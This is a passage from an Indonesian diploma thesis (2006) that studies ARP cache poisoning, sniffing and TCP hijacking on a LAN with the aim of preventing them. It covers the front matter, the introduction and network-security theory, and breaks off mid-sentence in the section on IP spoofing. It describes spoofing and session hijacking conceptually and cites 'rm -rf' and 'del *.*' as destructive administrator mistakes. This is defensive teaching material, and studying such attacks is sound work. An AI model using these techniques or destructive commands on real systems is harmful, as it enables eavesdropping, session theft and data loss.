Anda di halaman 1dari 97

PROYEK AKHIR

STUDI ANALISA
PENYAMARAN INFORMASI MAC ADDRESS
DENGAN METODE ARP CACHE POISONING

Ahmad Rodli Farhan


NRP. 7403 030 015

Dosen Pembimbing:
Iwan Syarif, S.Kom, M.Kom
NIP. 132 134 725

Hero Yudo Martono, S.T


NIP. 132 316 239

JURUSAN TEKNOLOGI INFORMASI


POLITEKNIK ELEKTRONIKA NEGERI SURABAYA
SURABAYA 2006
Halaman ini sengaja dikosongkan!!!

ii
STUDI ANALISA PENYAMARAN INFORMASI MAC ADDRESS
DENGAN METODE ARP CACHE POISONING

Oleh :
Ahmad Rodli Farhan 7403 030 015

Diajukan Sebagai Salah Satu Syarat untuk Menyelesaikan Studi


pada Program Pendidikan Diploma III
di
Politeknik Elektronika Negeri Surabaya
Institut Teknologi Sepuluh Nopember Surabaya

Disetujui oleh :
Tim Penguji Proyek Akhir: Dosen Pembimbing:

Ahmad Syauqi Ahsan, S.Kom Iwan Syarif, S.Kom, M.Kom


NIP. 132 303 876 NIP. 132 134 725

M. Udin Harun A.R, S.Kom Hero Yudo Martono, ST


NIP. 132 310 242 NIP. 132 316 239

Isbat Uzzin Nadhori, S.Kom


NIP. 132 303 873

Mengetahui,
Ketua Jurusan Teknologi Informasi

Iwan Syarif, S.Kom, M.Kom


NIP. 132 134 725

iii
Halaman ini sengaja dikosongkan!!!

iv
ABSTRAK

Pada Proyek Akhir ini akan dibahas tentang salah satu


kelemahan dari protokol ARP dalam melakukan pemetaan alamat
Ethernet dan alamat IP. ARP spoofing merupakan cara untuk
memanipulasi pemetaan ARP Cache. ARP spoofing akan membuat paket
ARP Reply Palsu. Dengan mengirimkan ARP Reply Palsu secara terus-
menerus, komputer target diyakinkan agar mengirim frame yang
ditujukan untuk komputer A dikirimkan terlebih dahulu ke komputer B.
ARP spoofing biasanya diikuti dengan serangan untuk menangkap atau
mengambil alih komunikasi yang tidak terenkripsi atau tidak memiliki
digital signature. Kemudian dilakukan analisa terhadap simulasi
program ARP spoofing dan TCP Hijacking yang telah dibuat. Dan
diharapkan dapat memberi solusi agar komunikasi yang terjadi tidak
dapat disadap atau diambil alih.

Kata kunci: ARP (Address Resolution Protocol), ARP Cache,


Keamanan Jaringan, ARP Spoofing, ARP Cache Poisoning, TCP
Hijacking

v
Halaman ini sengaja dikosongkan!!!

vi
ABSTRACT

This final project explains about one of the weaknesses of ARP


protocol in mapping Ethernet address with the IP address. ARP
spoofing involves constructing forged ARP replies. By sending forged
ARP replies, a target computer could be convinced to send frames
destined for computer A to instead go to computer B. ARP spoofing is
usually followed by an attack for capture or steal a communication that
not uses an encryption or a digital signature. And then analyzed the
simulation of ARP spoofing and TCP hijacking program that finished
built. So, can give solution for the communication can not be tapped or
stolen.

Keyword: ARP (Address Resolution Protocol), ARP Cache, Network


Security, ARP Spoofing, ARP Cache Poisoning, TCP Hijacking

vii
Halaman ini sengaja dikosongkan!!!

viii
KATA PENGANTAR

Puji syukur penulis panjatkan kepada Allah SWT yang


senantiasa melimpahkan rahmat dan hidayahNya sehingga dapat
terselesaikannya buku proyek akhir yang berjudul:

Studi Analisa Penyamaran Informasi MAC Address Dengan


Metode ARP Cache Poisoning

Proyek akhir ini bertujuan untuk memenuhi salah satu


persyaratan guna menyelesaikan studi di Politeknik Elektronika Negeri
Surabaya - Institut Teknologi Sepuluh Nopember.
Dalam menyelesaikan Proyek Akhir ini, penulis
melaksanakannya berdasarkan teori-teori yang telah penulis peroleh
dalam perkuliahan, literatur, dan bimbingan dari dosen pembimbing
serta pihak-pihak lain yang telah banyak memberikan semangat dan
bantuan.
Penulis sadar bahwasannya masih banyak kesalahan-kesalahan
dan kekurangan dalam penyusunan buku laporan Proyek Akhir ini.
Untuk itu penulis mohon maaf dan mengharapkan kritik dan saran dari
pembaca. Selain itu juga diharapkan pembaca dapat mengembangkan
Proyek Akhir ini. Semoga buku ini memberikan manfaat dalam
menghasilkan sumber daya dan ilmu pengetahuan yang berkualitas.

Surabaya, Juli 2006

Penulis

ix
Halaman ini sengaja dikosongkan!!!

x
UCAPAN TERIMA KASIH

Segala puji dan rasa syukur kepada Allah SWT yang telah
memberikan rahmat dan hidayahNya sehingga buku proyek akhir ini
dapat selesai tepat pada waktunya. Selain itu berkat bimbingan, bantuan
dan dukungan dari berbagai pihak, oleh karena itu dengan tulus dan
ikhlas kami ingin mengucapkan terima kasih kepada:
1. Bapak dan Ibuku tercinta yang telah memberikan semangat,
dukungan dan doa yang tiada hentinya.
2. Bapak Dr. Ir. Titon Dutono, M.Eng, selaku Direktur Politeknik
Elektronika Negeri Surabaya - ITS.
3. Bapak Iwan Syarif S.kom, M.kom, selaku Ketua Jurusan Teknologi
Informasi Politeknik Elektronika Negeri Surabaya ITS dan juga
sebagai Dosen Pembimbing I yang telah memberikan pengarahan
dan bimbingannya kepada penulis.
4. Bapak Hero Yudo Martono, ST, selaku Dosen Pembimbing II dan
salah satu pengajar lab jarkom yang telah banyak memberikan
pengarahan dan bimbingan.
5. Bapak Sritrusta Sukaridhoto, ST selaku kepala lab jarkom, yang
telah mengijinkan penulis menempati lab jarkom untuk
mengerjakan Proyek Akhir ini dan mengajarkan tentang banyak hal.
6. Semua keluargaku Mbah Uti, Om, Tante, Bulik, Paklik, Budhe,
Pakdhe, Mbak Alfi, Zaqi, terutama adek sepupuku dek Zarah, dek
Ifa, dek Arif, dek Irfan yang cerewet kalau penulis ada di rumah dan
memberi dukungan kepada penulis untuk mengerjakan Proyek
Akhir di kampus sampai lupa pulang. Untuk dek Widya, maaf ya!!!
ga bisa nganter lagi.
7. Untuk keluarga di Malang, Om Yus, Tante Uus, Adek Ninis, Adek
Nada yang telah memberikan tempat tinggal waktu penulis
berkunjung kesana dan selama tiga tahun belajar di MTS Moklet
Ngalam. Penulis selalu merindukan kalian semua.
8. Para Dosen Penguji Bapak Ahmad Syauqi Ahsan, S.Kom, Bapak
Udin Harun A.R, S.Kom, Bapak Isbat Uzzin Nadhori, S.Kom yang
telah menguji penulis tentang Proyek Akhir yang telah dikerjakan.
9. Seluruh dosen Teknologi Informasi yang telah memberikan ilmunya
pada waktu perkuliahan.
10. Goodle 2006 Sari, Bitha, Dina, Zulfan, Taufik, Wahyudin dan
Puthut, Mas Bejo, Hasbi, Mas Kiky yang telah berbagi ilmu dan
pengalamannya.

xi
11. Rekan-rekan IT di lab jarkom Talib (Awas koen lali koncone pas
nang jogja), Romy, Udin, Awal, Iin yang telah mengerjakan
Proyek Akhir bersama-sama di lab ini.
12. Arek-arek IT-A angkatan 2003, Roup, Anom, Topan, Rohmat,
Shinta, Pras, Alfi, Tri (Bozz), Yudi (Yahoo), Ocgik, Djohan,
Arief (Ipin), Adhi, Bayu, Muflih (Cak Mu), Radit, Ria, Widy, Ulfa,
Nadhir, Ceri dan Erwin yang telah bersama-sama dalam tiga tahun
terakhir ini.
13. Rekan-rekan di kampung 9 Inas, Anang, Soim, Agung (Nganyuk),
Bagus Kur, Aryka, Agung (jembus), BNM, Ifir, Robertus,
Fakhrizal, Ana, Devi, Nita, Listy, Elsi, Ivan, Jeffri, Soleh, Nanang,
Nur Cahyo dan semuanya yang belum disebut. Terima kasih kepada
kalian semua atas pengetahuan dan pengalamannya tentang IT
sewaktu STM maupun kalian semua sudah bekerja.
14. Arek-arek IT-B angkatan 2003 yang telah memberi suasana lain
dalam tiga tahun kuliah ini, terutama pada akhir-akhir menjelang
kelulusan. Kalian semua telah membantuku ^_^. Mbak Mira, Yoga,
Astrid, Ira, Silvie (SC handal), Koko, Vbri, Putri, Arief (Cak Ri),
Nia, Kiki, Mak Nupi, Ujang, Bastomi, Doni, Agung, Mboko dan
semuanya wes
15. D4-IT angkatan 2003 Sixta, Bagus (Bambang), Ical, Alfian, dan
semuanya yang tak mampu penulis sebutkan satu persatu. Terima
kasih atas obrol-obrolannya.
16. Warga PENS-ITS yang tidak dapat penulis sebutkan satu persatu
yang telah memeriahkan kampus PENS.
17. Dan kepada pihak yang telah membantu saya dalam menyelesaikan
Proyek Akhir ini yang belum penulis sebutkan.
Segala ucapan terimakasih dari kami tentunya belum cukup,
semoga Allah SWT membalas semua kebaikan. Akhir kata, penulis
berharap semoga proyek akhir ini dapat memberikan manfaat dan
tambahan pengetahuan bagi pembaca.

xii
DAFTAR ISI

HALAMAN JUDUL ........................................................................... i


LEMBAR PENGESAHAN ..............................................................iii
ABSTRAK .......................................................................................... v
ABSTRACT...................................................................................... vii
KATA PENGANTAR....................................................................... ix
UCAPAN TERIMA KASIH............................................................. xi
DAFTAR ISI....................................................................................xiii
DAFTAR GAMBAR........................................................................ xv
DAFTAR TABEL .......................................................................... xvii
BAB I PENDAHULUAN
1.1 Latar Belakang....................................................................... 1
1.2 Tujuan.................................................................................... 2
1.3 Batasan Masalah .................................................................... 2
1.4 Metodologi............................................................................. 2
1.5 Sistematika Pembahasan........................................................ 3
BAB II DASAR TEORI
2.1 Pengantar Keamanan Jaringan Komputer.............................. 5
2.2 IP Spoofing dan ARP Spoofing ........................................... 10
2.3 ARP (Address Resolution Protocol) .................................... 11
2.3.1 Contoh Cara Kerja ARP............................................ 12
2.3.2 Struktur ARP............................................................. 13
2.4 ARP Cache Pada Sistem Operasi......................................... 14
2.5 Sniffing ................................................................................ 15
2.5.1 Sniffing pada jaringan yang menggunakan Hub ....... 16
2.5.2 Sniffing pada jaringan yang menggunakan Switch... 17
2.6 ARP Cache Poisoning.......................................................... 18
2.7 Session Hijacking ................................................................ 20
2.7.1 Active Session Hijacking .......................................... 20
2.7.2 Passive Session Hijacking......................................... 21
BAB III PERENCANAAN DAN PEMBUATAN PROGRAM
3.1 Desain dan Topologi Jaringan ............................................. 23
3.2 Teknik ARP Spoofing.......................................................... 24
3.3 Perancangan Program .......................................................... 26
3.3.1 Perancangan Program ARP Cache Poisoning ....... 26
3.3.2 TCP Hijacking....................................................... 28
3.4 Implementasi Program......................................................... 34
3.4.1 TCP Hijacking....................................................... 37
xiii
BAB IV PENGUJIAN DAN ANALISA
4.1 Pengujian dan Analisa Program ARP Spoofing ...................41
4.1.1 Analisa Host Client ................................................42
4.1.2 Analisa Host Server ...............................................46
4.1.3 Analisa Host Attacker ............................................49
4.2 Sniffing.................................................................................51
4.3 Pengujian dan Analisa Program TCP Hijacking ..................53
4.4 Pencegahan Serangan-Serangan Berbasis ARP Spoofing ....56
4.4.1 Penggunaan ARP Static .........................................56
4.4.2 Analisa Host Server ...............................................57
BAB V PENUTUP
5.1 Kesimpulan...........................................................................61
5.2 Saran.....................................................................................61
DAFTAR PUSTAKA........................................................................63
LAMPIRAN ......................................................................................65

xiv
DAFTAR GAMBAR
Gambar 2.1 ARP Request .................................................................. 12
Gambar 2.2 ARP Reply ..................................................................... 12
Gambar 2.3 Jaringan Menggunakan Hub........................................... 17
Gambar 2.4 Jaringan Menggunakan Switch ...................................... 18
Gambar 2.5 Proses ARP Cache Poisoning......................................... 19
Gambar 3.1 Desain Jaringan .............................................................. 23
Gambar 3.2 Proses ARP Spoofing ..................................................... 25
Gambar 3.3 Paket ARP Spoofing....................................................... 25
Gambar 3.4 Flowchart ARP Spoofing ............................................... 27
Gambar 3.5 Ilustrasi proses TCP Hijacking....................................... 28
Gambar 3.6 Urutan proses TCP Hijacking......................................... 29
Gambar 4.1 Running Program ARP Spoofing ................................... 41
Gambar 4.2 ARP Cache host client sebelum spoofing....................... 42
Gambar 4.3 ARP Cache host client sesudah spoofing ....................... 44
Gambar 4.4 Traffic icmp di attacker .................................................. 45
Gambar 4.5 Traffic icmp di server ..................................................... 46
Gambar 4.6 ARP Cache host server sebelum spoofing...................... 48
Gambar 4.7 ARP Cache host server sesudah spoofing ...................... 48
Gambar 4.8 Paket ARP yang dikirim host attacker............................ 49
Gambar 4.9 Semua traffic yang terlihat di host attacker .................... 50
Gambar 4.10 Komunikasi telnet yang tercapture............................... 51
Gambar 4.11 Koneksi TCP sebelum ARP Spoofing.......................... 51
Gambar 4.12 Koneksi TCP setelah ARP Spoofing............................ 52
Gambar 4.13 Follow TCP Stream yang dijalankan attacker .............. 52
Gambar 4.14 Trafik yang tertangkap oleh attacker............................ 57
Gambar 4.15 Perintah telnet disadap.................................................. 58
Gambar 4.16 Hasil telnet disadap ...................................................... 58
Gambar 4.17 Follow TCP Stream koneksi Telnet ............................. 59
Gambar 4.18 Perintah yang terenkripsi.............................................. 60
Gambar 4.19 Follow TCP Stream SSH.............................................. 60

xv
Halaman ini sengaja dikosongkan!!!

xvi
DAFTAR TABEL

Tabel 2.1 Format message ARP dan ukuran (byte)............................ 13

xvii
Halaman ini sengaja dikosongkan!!!

xviii
BAB I
PENDAHULUAN

1.1 Latar Belakang

Seiring berkembangnya teknologi informasi, teknologi jaringan


komputer juga semakin berkembang pesat. Masalah keamanan
merupakan salah satu aspek penting dari sebuah sistem informasi.
Namun hal ini kurang mendapat perhatian dari para pemilik dan
pengelola sebuah jaringan komputer. Seringkali masalah keamanan
berada di urutan kedua, atau bahkan di urutan terakhir dalam daftar hal-
hal yang dianggap penting. Apabila menggangu performansi dari sistem,
seringkali keamanan dikurangi atau ditiadakan.
Jaringan komputer telah menjadi bagian dari kehidupan sehari-
hari sebagai salah satu media komunikasi dalam bisnis maupun untuk
privasi. Untuk menghubungkan beberapa komputer dalam jaringan
diperlukan protokol atau aturan dalam berkomunikasi. Salah satu
protokol dalam jaringan yang digunakan pada saat ini adalah IPv4
(Internet Protocol version 4).
Tetapi di balik kemudahan dalam berkomunikasi di jaringan,
terdapat lubang kelemahan dari protokol komunikasi tersebut.
Kelemahan tersebut terletak pada layer 2 dan layer 3, yaitu kelemahan
dari protokol ARP yang melakukan pemetaan terhadap alamat IP dengan
alamat MAC dari host yang sedang berkomunikasi. Proses permintaan
ARP dan pengiriman ARP diperlukan oleh host yang ingin
berkomunikasi dalam sebuah jaringan lokal, alamat yang digunakan
adalah alamat Ethernet dan tidak lagi menggunakan alamat IP.
Hal tersebut dapat dimanfaatkan oleh para cracker untuk tujuan
tidak baik. Salah satu kejahatan yang dilakukan adalah dengan
penyamaran (spoofing) alamat sebuah komputer dalam jaringan. Teknik
penyamaran yang dibahas kali ini dengan cara melakukan
penyembunyian informasi Hardware address (Ethernet address) dari
sebuah host di jaringan lokal (LAN).
Seorang cracker setelah melakukan ARP Spoofing biasanya
dilanjutkan dengan serangan-serangan yang bisa melakukan interupsi
terhadap dua komunikasi yang sedang berjalan. Jenis-jenis serangan ini
antara lain Man In the Middle, sniffing, TCP hijacking atau session
hijacking.

1
2

Setelah mengetahui kelemahan-kelemahan tersebut diharapkan


agar dapat melakukan penanggulangan spoofing tersebut maupun
serangan-serangan yang ditimbulkan setelah melakukan ARP Spoofing.

1.2 Tujuan

Tujuan dari proyek akhir ini adalah menganalisa protokol IPv4


untuk melakukan spoofing ARP terhadap komputer korban yang saling
berkomunikasi dalam suatu jaringan lokal. Kemudian melakukan
beberapa serangan terhadap komunikasi tersebut. Untuk selanjutnya
dapat melakukan pencegahan terhadap serangan-serangan yang
menggunakan ARP Spoofing.

1.3 Batasan Masalah

Permasalahan yang dibahas dalam proyek akhir ini meliputi


bagaimana merubah pengalamatan hardware address (MAC
address) terhadap IP address dalam tabel ARP komputer target
(korban) yang ada di jaringan lokal (LAN). Perangkat lunak tersebut
digunakan agar mampu membelokkan data yang dikirim melalui
data link layer. Kemudian menganalisa apa saja yang dapat
dilakukan setelah ARP Spoofing. Adapun pembatasan masalah dari
tugas akhir ini diantaranya adalah :
Protokol yang digunakan adalah IPv4.
Spoofing dilakukan pada jaringan lokal (Local Area Network /
LAN).
Pembelokan data dilakukan diantara dua buah komputer yang saling
berkomunikasi.
Penyerang (attacker) menggunakan sistem operasi linux debian.

1.4 Metodologi

Metodologi pengerjaan Proyek Akhir ini antara lain:


1. Studi dan analisa mengenai OSI model dan konsep.
2. Studi dan analisa mengenai cara-cara teknik hacking dalam sebuah
jaringan lokal, khususnya yang didasari ARP Spoofing.
3. Studi dan analisa membangun sebuah perangkat lunak yang berguna
untuk menyembunyikan informasi MAC Address.
4. Melakukan pembuatan program untuk melakukan ARP Spoofing
protokol IPv4 pada jaringan lokal.
3

5. Melakukan pembuatan program yang melakukan serangan terhadap


jaringan lokal dengan memanfaatkan ARP Spoofing.
6. Simulasi penggunaan ARP Spoofing pada jaringan lokal dan
melakukan salah satu hacking yang menggunakan metode ini.
7. Menganalisa jalannya jalannya paket yang berjalan dari dan ke
komputer korban dengan menggunakan program network analyzer.
8. Simulasi pencegahan atau penanggulangan serangan-serangan yang
menggunakan teknik ARP Spoofing.

1.5 Sistematika Pembahasan

Sistematika pembahasan dari Proyek Akhir ini direncanakan


sebagai berikut :

BAB I PENDAHULUAN
Berisi pendahuluan yang menjelaskan tentang gambaran umum
proyek akhir. Dalam Bab I dibahas tentang latar belakang, tujuan, batas
masalah, metodologi serta sistematika penulisan.

BAB II DASAR TEORI


Menjelaskan tentang teori yang berkaitan dengan pemahaman
keamanan jaringan, teknik spoofing, konsep protokol ARP dan beberapa
contoh serangan pada jaringan lokal yang menggunakan teknik ARP
Spoofing.

BAB III PERENCANAAN DAN PEMBUATAN PROGRAM


Berisi tentang perencanaan dan pembuatan proyek akhir, yakni
pembahasan tentang perencanaan perangkat lunak untuk melakukan
ARP Spoofing serta serangan yang disertai setelah melakukan ARP
Spoofing pada dua host.

BAB IV PENGUJIAN DAN ANALISA


Membahas tentang pengujian dan analisa proyek akhir ini yang
disertai dengan data-data yang diperoleh selama uji coba dan kendala-
kendala yang terjadi.

Bab V PENUTUP
Berisi tentang kesimpulan dari proyek akhir yang sudah
dikerjakan dan saran-saran bagi pengembangan selanjutnya.
4

Halaman ini sengaja dikosongkan!!!


BAB II
DASAR TEORI

2.1 Pengantar Keamanan Jaringan Komputer

Perkembangan teknologi informasi saat ini merupakan suatu


persoalan yang sangat penting. Kemampuan dalam menyediakan
informasi secara cepat dan akurat menjadi sesuatu yang sangat esensial
bagi suatu organisasi. Hal ini terjadi karena ditunjang dengan
perkembangan komputer dan komunikasi yang sangat pesat. Seiring
dengan perkembangan tersebut, jaringan komputer sebagai media
komunikasi antar komputer juga berkembang pesat.
Masalah keamanan merupakan salah satu aspek penting dari
sebuah sistem informasi. Namun hal ini kurang mendapat perhatian dari
para pemilik dan pengelola sebuah jaringan komputer. Seringkali
masalah keamanan berada di urutan kedua, atau bahkan di urutan
terakhir dalam daftar hal-hal yang dianggap penting. Apabila
menggangu performansi dari sistem, seringkali keamanan dikurangi atau
ditiadakan. Hal ini disebabkan karena kemanan suatu system berbanding
terbalik dengan kemudahan dan kenyamanan dalam penggunaanya [1].
Sangat pentingnya nilai sebuah informasi menyebabkan
seringkali informasi diinginkan hanya boleh diakses oleh orang-orang
tertentu. Jatuhnya informasi ke tangan pihak lain (misalnya pihak lawan
bisnis) dapat menimbulkan kerugian bagi pemilik informasi. Sebagai
contoh, banyak informasi dalam sebuah perusahaan yang hanya
diperbolehkan diketahui oleh orang-orang tertentu di dalam perusahaan
tersebut, seperti misalnya informasi tentang produk yang sedang dalam
development, algoritma-algoritma dan teknik-teknik yang digunakan
untuk menghasilkan produk tersebut. Untuk itu keamanan dari sistem
informasi yang digunakan harus terjamin dalam batas yang dapat
diterima.
Keamanan jaringan komputer sendiri sering dipandang sebagai
hasil dari beberapa faktor. Faktor tersebut antara lain [1, 3]:
1. Availability (ketersediaan)
Ketersediaan data atau layanan dapat dengan mudah dipantau
oleh pengguna dari sebuah layanan. Dimana ketidaktersediaan dari
sebuah layanan (service) dapat menjadi sebuah halangan untuk maju
bagi sebuah perusahaan dan bahkan dapat berdampak lebih buruk

5
6

lagi, yaitu penghentian proses produksi. Sehingga untuk semua


aktifitas jaringan, ketersediaan data sangat penting untuk sebuah
sistem agar dapat terus berjalan dengan benar.
Contoh hambatan adalah serangan yang sering disebut dengan
denial of service attack (DoS attack), dimana server dikirimi
permintaan (biasanya palsu) yang bertubitubi atau permintaan yang
diluar perkiraan sehingga tidak dapat melayani permintaan lain atau
bahkan sampai down, hang, crash. Contoh lain adalah adanya
mailbomb, dimana seorang pemakai dikirimi email bertubi-tubi
(katakan ribuan email) dengan ukuran yang besar sehingga sang
pemakai tidak dapat membuka emailnya atau kesulitan mengakses
emailnya.
2. Privacy / Confidentiality (kerahasiaan)
Ada beberapa jenis informasi yang tersedia didalam sebuah
jaringan komputer. Setiap data yang berbeda pasti mempunyai grup
pengguna yang berbeda pula dan data dapat dikelompokkan sehingga
beberapa pembatasan kepada pemakaian data harus ditentukan. Inti
utama aspek privacy atau confidentiality adalah usaha untuk menjaga
informasi dari orang yang tidak berhak mengakses.
Privacy lebih kearah pada data-data yang sifatnya privat
sedangkan confidentiality biasanya berhubungan dengan data yang
diberikan ke pihak lain untuk keperluan tertentu (misalnya sebagai
bagian dari pendaftaran sebuah servis) dan hanya diperbolehkan
untuk keperluan tertentu tersebut.
Contoh hal yang berhubungan dengan privacy adalah email
seorang pemakai (user) tidak boleh dibaca oleh administrator.
Contoh confidential information adalah data-data yang sifatnya
pribadi (seperti nama, tempat tanggal lahir, social security number,
agama, status perkawinan, penyakit yang pernah diderita, nomor
kartu kredit, dan sebagainya) merupakan data-data yang ingin
diproteksi penggunaan dan penyebarannya. Contoh lain dari
confidentiality adalah daftar pelanggan dari sebuah Internet Service
Provider (ISP).
Pada umumnya data yang terdapat didalam suatu perusahaan
bersifat rahasia dan tidak boleh diketahui oleh pihak ketiga yang
bertujuan untuk menjaga rahasia perusahaan dan strategi perusahaan.
Backdoor merupakan contoh yang melanggar kebijakan perusahaan
dikarenakan menyediakan akses yang tidak diinginkan kedalam
jaringan komputer perusahaan.
7

3. Integrity (integritas)
Aspek ini menekankan bahwa informasi tidak boleh diubah
tanpa seijin pemilik informasi. Adanya virus, trojan horse, atau
pemakai lain yang mengubah informasi tanpa ijin merupakan contoh
masalah yang harus dihadapi. Penggunaan encryption dan digital
signature, misalnya, dapat mengatasi masalah ini.
Jaringan komputer yang dapat diandalkan juga berdasar pada
fakta bahwa data yang tersedia apa yang sudah seharusnya. Jaringan
komputer mau tidak mau harus terlindungi dari serangan (attacks)
yang dapat merubah data selama dalam proses persinggahan
(transmit). Man In The Middle merupakan jenis serangan yang dapat
merubah integritas dari sebuah data yang mana penyerang (attacker)
dapat membajak session atau memanipulasi data yang terkirim.
Didalam jaringan komputer yang aman, partisipan dari sebuah
"transaksi" data harus yakin bahwa orang yang terlibat dalam
komunikasi data dapat diandalkan dan dapat dipercaya. Keamanan
dari sebuah komunikasi data sangat diperlukan pada sebuah
tingkatan yang dipastikan data tidak berubah selama proses
pengiriman dan penerimaan pada saat komunikasi data. Ini tidak
harus selalu berarti bahwa traffic perlu di enkripsi, tapi juga tidak
tertutup kemungkinan serangan Man In The Middle dapat terjadi.
4. Authentication
Aspek ini berhubungan dengan metoda untuk menyatakan
bahwa informasi betul-betul asli, orang yang mengakses atau
memberikan informasi adalah betul-betul orang yang dimaksud, atau
server yang kita hubungi adalah betul-betul server yang asli.
Masalah pertama, membuktikan keaslian dokumen, dapat
dilakukan dengan teknologi watermarking dan digital signature.
Watermarking juga dapat digunakan untuk menjaga intellectual
property, yaitu dengan menandai dokumen atau hasil karya dengan
tanda tangan pembuat.
Masalah kedua biasanya berhubungan dengan access control,
yaitu berkaitan dengan pembatasan orang yang dapat mengakses
informasi. Dalam hal ini pengguna harus menunjukkan bukti bahwa
memang dia adalah pengguna yang sah, misalnya dengan
menggunakan password, biometric (ciri-ciri khas orang), dan
sejenisnya. Ada tiga hal yang dapat ditanyakan kepada orang untuk
menguji siapa dia:
What you have (misalnya kartu ATM)
What you know (misalnya PIN atau password)
8

What you are (misalnya sidik jari, biometric)


Penggunaan teknologi smart card, saat ini kelihatannya dapat
meningkatkan keamanan aspek ini. Secara umum, proteksi
authentication dapat menggunakan digital certificates.
Security attack, atau serangan terhadap keamanan system
informasi, dapat dilihat dari sudut peranan komputer atau jaringan
komputer yang fungsinya adalah sebagai penyedia informasi. Beberapa
kemungkinan serangan (attack) [1]:
1. Interruption: Perangkat sistem menjadi rusak atau tidak tersedia.
Serangan ditujukan kepada ketersediaan (availability) dari sistem.
Contoh serangan adalah denial of service attack.
2. Interception: Pihak yang tidak berwenang berhasil mengakses aset
atau informasi. Contoh dari serangan ini adalah penyadapan
(wiretapping).
3. Modification: Pihak yang tidak berwenang tidak saja berhasil
mengakses, akan tetapi dapat juga mengubah (tamper) aset. Contoh
dari serangan ini antara lain adalah mengubah isi dari web site
dengan pesan-pesan yang merugikan pemilik web site.
4. Fabrication: Pihak yang tidak berwenang menyisipkan objek palsu
ke dalam sistem. Contoh dari serangan jenis ini adalah memasukkan
pesan-pesan palsu seperti email palsu ke dalam jaringan komputer.
Lubang keamanan (security hole) dapat menyebabkan serangan
terhadap sistem. Hal tersebut disebabkan oleh:
1. Salah disain
Lubang keamanan yang ditimbulkan oleh salah disain
umumnya jarang terjadi. Akan tetapi apabila terjadi sangat sulit
untuk diperbaiki. Akibat disain yang salah, maka biarpun dia
diimplementasikan dengan baik, kelemahan dari sistem akan tetap
ada.
Contoh sistem yang lemah disainnya adalah algoritma
enkripsi ROT13 atau Caesar cipher, dimana karakter digeser 13
huruf atau 3 huruf. Meskipun diimplementasikan dengan
programming yang sangat teliti, siapapun yang mengetahui
algoritmanya dapat memecahkan enkripsi tersebut.
Contoh lain lubang keamanan yang dapat dikategorikan
kedalam kesalahan disain adalah disain urutan nomor (sequence
numbering) dari paket TCP/IP. Kesalahan ini dapat dieksploitasi
sehingga timbul masalah yang dikenal dengan nama IP spoofing,
yaitu sebuah host memalsukan diri seolah-olah menjadi host lain
dengan membuat paket palsu setelah mengamati urutan paket dari
9

host yang hendak diserang. Bahkan dengan mengamati cara


mengurutkan nomor packet bisa dikenali sistem yang digunakan.
Mekanisme ini digunakan oleh program nmap dan queso untuk
mendeteksi operating system (OS) dari sebuah sistem, yang disebut
fingerprinting.
2. Implementasi kurang baik
Lubang keamanan yang disebabkan oleh kesalahan
implementasi sering terjadi. Banyak program yang
diimplementasikan secara terburu-buru sehingga kurang cermat
dalam pengkodean. Akibatnya cek atau testing yang harus dilakukan
menjadi tidak dilakukan. Sebagai contoh, seringkali batas (bound)
dari sebuah array tidak dicek sehingga terjadi yang disebut out-of-
bound array atau buffer overflow yang dapat dieksploitasi (misalnya
overwrite ke variable berikutnya). Lubang keamanan yang terjadi
karena masalah ini sudah sangat banyak, dan yang mengherankan
terus terjadi, seolah-olah para programmer tidak belajar dari
pengalaman.
3. Salah konfigurasi
Meskipun program sudah diimplementasikan dengan baik,
masih dapat terjadi lubang keamanan karena salah konfigurasi.
Contoh masalah yang disebabkan oleh salah konfigurasi adalah
berkas yang semestinya tidak dapat diubah oleh pemakai secara tidak
sengaja menjadi writeable. Apabila berkas tersebut merupakan
berkas yang penting, seperti berkas yang digunakan untuk
menyimpan password, maka efeknya menjadi lubang keamanan.
4. Salah menggunakan program atau sistem
Salah penggunaan program dapat juga mengakibatkan
terjadinya lubang keamanan. Kesalahan menggunakan program yang
dijalankan dengan menggunakan account root (super user) dapat
berakibat fatal. Sering terjadi cerita horor dari sistem administrator
baru yang teledor dalam menjalankan perintah rm -rf di sistem
UNIX (yang menghapus berkas atau direktori beserta sub direktori di
dalamnya). Akibatnya seluruh berkas di sistem menjadi hilang
mengakibatkan Denial of Service (DoS). Apabila sistem yang
digunakan ini digunakan bersama-sama, maka akibatnya dapat lebih
fatal lagi. Untuk itu perlu berhati-hati dalam menjalan program,
terutama apabila dilakukan dengan menggunakan account
administrator seperti root tersebut.
Kesalahan yang sama juga sering terjadi di sistem yang
berbasis MS-DOS. Karena sudah mengantuk, misalnya, ingin
10

melihat daftar berkas di sebuah direktori dengan memberikan


perintah dir *.* ternyata salah memberikan perintah menjadi del
*.* (yang juga menghapus seluruh file di direktori tersebut).

2.2 IP Spoofing dan ARP Spoofing

IP spoofing adalah membuat paket IP menggunakan source IP


address orang lain. Teknik ini bisanya dipakai untuk melakukan
serangan ke host atau target lain, jika di telaah lebih dalam pada IP
datagram 12 byte pertama menggandung bermacam-macam header
packet kemudian 8 byte berikutnya mengandung informasi source dan
destination IP address dengan menggunakan tool atau program yang
telah dimodifikasi seorang attacker bisa dengan mudah memalsukan IP
source addressnya.
Sebuah penafsiran yang salah bahwa IP spoofing itu bisa di
gunakan setiap kali browsing, chating atau mengirim email di internet,
IP address bisa diganti-ganti, pendapat atau pandangan itu sama sekali
tidak benar. Ide utama yang mendasari IP Spoofing adalah mengganti
secara paksa destination IP Address pada header IP, sehingga respon
menjadi tidak normal atau tidak mengacu pada kesepakatan RFC yang
baku, artinya proses interkoneksi TCP/IP yang normal tidak terjadi [6].
Model serangan ini bertujuan untuk menipu sebuah host.
Serangan ini dilakukan dengan cara mengubah alamat asal sebuah paket,
sehingga dapat melewati perlindungan firewall dan menipu host
penerima data. Hal ini dapat dilakukan karena pada dasarnya alamat IP
asal sebuah paket dituliskan oleh sistem operasi host yang mengirimkan
paket tersebut. Dengan melakukan raw-socket-programming, seseorang
dapat menuliskan isi paket yang akan dikirimkan setiap bit-nya sehingga
untuk melakukan pemalsuan data dapat dilakukan dengan mudah.
IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu
pemalsuan alamat IP attacker sehingga sasaran menganggap alamat IP
attacker adalah alamat IP dari host di dalam network bukan dari luar
network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx
ketika attacker melakukan serangan jenis ini maka Network yang
diserang akan menganggap IP attacker adalah bagian dari Networknya
misal 192.xx.xx.xx yaitu IP type C. IP Spoofing terjadi ketika seorang
attacker mengakali paket routing untuk mengubah arah dari data atau
transmisi ke tujuan yang berbeda. Paket untuk routing biasanya di
